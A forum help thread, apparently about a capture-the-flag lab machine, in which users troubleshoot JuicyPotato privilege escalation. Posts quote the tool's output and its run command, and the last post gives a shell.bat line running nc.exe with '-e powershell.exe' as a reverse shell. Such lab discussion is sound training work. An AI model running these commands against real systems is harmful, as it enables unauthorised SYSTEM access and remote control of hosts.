Starting Point - Shield

Hey there. I’m still a n00b with this… but I’m having a problem with JuicyPotato. I found an exe, and I’ve uploaded it ad run it as it states in the walkthgouh, but I’m still not getting access. I’m getting the following…
+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
but no access.
Please help me figure out what I’m missing.


Did you ever manage to solve this? I’m seeing the same issue

That is what you should be getting. Have you set up a listener to receive the connection from the shell.bat that will be executed by Juicy Potato?

Yeah I have a listener set up but it doesn’t seem to connect back to it…any idea what I’ve done wrong?

that happens to me too. Can anyone help me?

@ARMI can you screenshot your current terminal setup?

Type your comment> @tasidonya said:

@ARMI can you screenshot your current terminal setup?

Hello tasidonya :slight_smile:
This is the capture to run a command “js.exe -t * -p C:\inetpub\wwwroot\wordpress\wp-content\uploads\shell.bat -l 1337”

And then, i can’t go to the c:\users\administrator to get root.txt because i am not access

Resolved my Issue.

Original shell.bat:
echo START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 1111 > shell.bat

Sucessfull shell.bat:
START C:\inetpub\wwwroot\wordpress\wp-content\uploads\nc.exe -e powershell.exe 1111